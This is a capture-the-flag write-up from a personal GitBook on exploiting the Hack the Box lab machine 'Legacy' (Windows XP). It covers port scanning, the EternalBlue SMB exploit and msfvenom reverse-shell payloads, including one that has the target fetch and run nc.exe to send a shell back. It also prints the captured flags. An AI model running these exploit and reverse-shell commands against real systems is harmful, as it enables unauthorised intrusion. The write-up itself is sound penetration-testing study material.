OSCP-like boxes
  • Introduction
  • Linux Boxes
    • Lame
    • Shocker
    • Bashed
  • Windows Boxes
    • Legacy
  • Harder than OSCP - Windows
    • COMING SOON
  • Harder than OSCP - Linux
    • COMING SOON
  • Misc
    • Handy Commands
Powered by GitBook
On this page
  • Overview
  • Scanning
  • Exploitation
  • Takeaways

Was this helpful?

  1. Windows Boxes

Legacy

This is a write-up on how I solved Legacy from Hack the Box.

PreviousBashedNextCOMING SOON

Last updated 4 years ago

Was this helpful?

Overview

Scanning

Scanning for open ports using masscan:

sudo masscan -p1-65535,U:1-65535 10.10.10.4 --rate=1000 -e tun0

Open ports are the following:

Discovered open port 137/udp on 10.10.10.4                                     
Discovered open port 139/tcp on 10.10.10.4                                     
Discovered open port 445/tcp on 10.10.10.4

I then ran a version and default scripts scan on the open ports:

sudo nmap -p 137,139,445 -sV -sC 10.10.10.4 -oA nmap/legacy
PORT    STATE    SERVICE      REASON          VERSION                                                                                                                          
137/tcp filtered netbios-ns   no-response                                                                                                                                      
139/tcp open     netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn                                                                                                    
445/tcp open     microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds                                                                                                          
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp                                                                             
                                                                                                                                                                               
Host script results:                                                                                                                                                           
|_clock-skew: mean: 5d00h27m40s, deviation: 2h07m16s, median: 4d22h57m40s                                                                                                      
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:8f:01 (VMware)                                                                               
| Names:                                                                                                                                                                       
|   LEGACY<00>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| Statistics:
|   00 50 56 b9 8f 01 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 40600/tcp): CLEAN (Timeout)
|   Check 2 (port 23436/tcp): CLEAN (Timeout)
|   Check 3 (port 50902/udp): CLEAN (Timeout)
|   Check 4 (port 19786/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-07-04T12:37:12+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
|_smb2-time: Protocol negotiation failed (SMB2)

Exploitation

sif0@kali:~/htb/retired/Legacy-10.10.10.4$ searchsploit eternalblue
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                               |  Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                             | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                         | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                   | windows_x86-64/remote/42030.py
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
sif0@kali:~/htb/retired/Legacy-10.10.10.4/Eternal-Blue$ python zzz_exploit.py 
zzz_exploit.py <ip> <exe_service_file_to_upload_and_execute.exe>
Example: msfvenom -p windows/shell_reverse_tcp -f exe-service -o exe_service_file_to_upload_and_execute.exe LHOST=123.123.123.123 LPORT=4444

It seems the script requires an executable file to which contains the payload to be executed on the target. I can generate it using msfvenom:

msfvenom -p windows/shell/reverse_tcp LHOST=<my-ip> LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows > exploit.exe

I can now use the exploit script:

python zzz_exploit.py 10.10.10.4 exploit.exe
Upload and execute mode: ../exploit.exe
Target OS: Windows 5.1
No named pipe was specified explicitly via the NAMED_PIPE env variable, trying to auto-detect
Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x81fe1da8
SESSION: 0xe11808d8
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe10e0378
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe10e0418
overwriting token UserAndGroups
Uploading payload
Executing payload as a service
Doing service exec
Got DCE RPC handle
DCE RPC connected
And bound
Opening SVCManager on 10.10.10.4.....
Creating service BBec.....
We got a service handle, starting BBec.....
Safe to ignore if you executed a non-service
The NETBIOS connection with the remote host timed out.
Removing service BBec.....
ServiceExec Error on: 10.10.10.4
nca_s_proto_error
Done

On my listener, I get a connection but it instantly dies when I type anything:

sif0@kali:~/htb/retired/Legacy-10.10.10.4$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.4] 1039
whoami
sif0@kali:~/htb/retired/Legacy-10.10.10.4$

After trying numerous times, I get the same behavior. Knowing that I got code execution but maybe the process dies quickly. I opted to use a different payload, not that requires a process to be alive. I used the payload windows/exec rather than windows/shell/reverse_tcp:

msfvenom -p windows/exec cmd='\\10.10.14.7\smb\nc.exe 10.10.14.7 9001 -e cmd.exe' EXITFUNC=thread -f exe -a x86 --platform windows > exec-exploit.exe

This commands creates an executable that will trigger a payload that executes an SMB connection to my machine, executing the binary nc.exe using the parameters provided. Setting up my smb share using impacket's smbserver.py:

sif0@kali:~/htb/retired/Legacy-10.10.10.4/smb$ sudo /opt/impacket/examples/smbserver.py smb .

Impacket v0.9.22.dev1+20200520.120526.3f1e7ddd - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.4,1043)
[*] AUTHENTICATE_MESSAGE (\,LEGACY)
[*] User LEGACY\ authenticated successfully
[*] :::00::4141414141414141
[*] Handle: The NETBIOS connection with the remote host timed out.
[*] Closing down connection (10.10.10.4,1043)
[*] Remaining connections []

I know trigger the exploit:

python zzz_exploit.py 10.10.10.4 exec-exploit.exe

On my listener on port 9001, I get a shell:

sif0@kali:~/htb/retired/Legacy-10.10.10.4$ nc -nvlp 9001                                                                                                (1 results) [3932/3932]
listening on [any] 9001 ...                
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.4] 1045
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami                                                             
whoami                                     
'whoami' is not recognized as an internal or external command,
operable program or batch file.

For whatever reason, whoami doesn't work. Its because it is not pre-installed in Windows XP I think and requires installing a tool pack. I also tried a few commands to determine the current user, but all of them failed:

C:\WINDOWS\system32>echo %USERNAME%                                                                                                                                            
echo %USERNAME%                                                                                                                                                                
%USERNAME%                                                                                                                                                                     
                                                                                                                                                                               
C:\WINDOWS\system32>echo %userdomain%                                                                                                                                          
echo %userdomain%                                                                                                                                                              
%userdomain%                                                                                                                                                                   
                                                                                                                                                                               
C:\WINDOWS\system32>sysinfo                                                                                                                                                    
sysinfo                                                                                                                                                                        
'sysinfo' is not recognized as an internal or external command,                                                                                                                
operable program or batch file.

I then just tried my luck if I have access to the Administrator\Desktop directory, which I do:

C:\Documents and Settings\Administrator>dir Desktop   
dir Desktop
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\Administrator\Desktop

16/03/2017  09:18     <DIR>          .
16/03/2017  09:18     <DIR>          ..
16/03/2017  09:18                 32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)   6.400.622.592 bytes free

I can also read root.txt:

C:\Documents and Settings\Administrator>type Desktop\root.txt
type Desktop\root.txt
993442d258b0e0ec917cae9e695d5713

Checking the users under the directory Documents and Settings, I found that the user john has the user.txt on his Desktop folder:

C:\Documents and Settings>dir john\Desktop\
dir john\Desktop\
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\john\Desktop

16/03/2017  09:19     <DIR>          .
16/03/2017  09:19     <DIR>          ..
16/03/2017  09:19                 32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)   6.400.618.496 bytes free

I can now read user.txt:

C:\Documents and Settings>type john\desktop\user.txt
type john\desktop\user.txt
e69af0e4f443d...

Takeaways

  • Legacy boxes like this are vulnerable to many exploits, but finding a working exploit that doesn't require the use of a Metasploit module can take you some time.

  • Since legacy version have many exploits available, it can be cumbersome to find which exploit you really need or want.

  • If you get code execution but your process dies quickly, try to use a payload that executes a command that can get you a shell.

Based on the scan results, the Windows OS is XP (Windows 2000 LAN Manager), which is a very outdated version of Windows and has lots of vulnerabilities. Thinking that this might be vulnerable to , I used searchsploit to find a POC exploit:

It seems like any of these 3 exploits will work. I tried 2 of them and I wasn't able to get them to work(maybe I was just stupid). Eventually after Googling, I ended up with this , and got a working to work:

EternalBlue
Github repository
exploit
https://www.hackthebox.eu/home/machines/profile/2